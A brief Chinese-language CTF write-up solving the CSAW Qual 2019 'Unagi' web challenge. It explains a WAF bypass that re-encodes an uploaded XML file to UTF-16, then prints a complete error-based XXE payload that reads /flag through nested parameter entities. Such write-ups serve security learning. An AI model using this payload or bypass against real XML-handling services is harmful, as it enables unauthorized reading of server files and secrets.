CTF Web安全

[CSAWQual 2019]Web_Unagi(XXE绕过。报错带数据)

Posted on 2020-03-23,2 min read

about.php提示。flag在/flag
有个文件上传。给了例子

<users>
<user>
	<username>bob</username>
	<password>passwd2</password>
	<name>Bob</name>
	<email>bob@fakesite.com</email>
	<group>CSAW2019</group>
</user>
</users>

xml格式文档。我们上传个xml试试。

有三个输出点。那么联想到XXE。
构造下payload

发现有WAF。可以用编码绕过。

iconv -f utf8 -t utf16 1.xml -o 2.xml

flag只回显了一部分。

可以用报错带出数据

<?xml version='1.0' encoding="utf-16"?>
<!DOCTYPE message[ 
  <!ELEMENT message ANY >
  <!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">
  <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///yemoli/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]> 
<users>
<user>
	<username>bob</username>
	<password>passwd2</password>
	<name>Bob</name>
	<email>bob@fakesite.com</email>
	<group>&xxe;</group>
</user>
</users>

下一篇: BJDCTF 2nd Misc题解→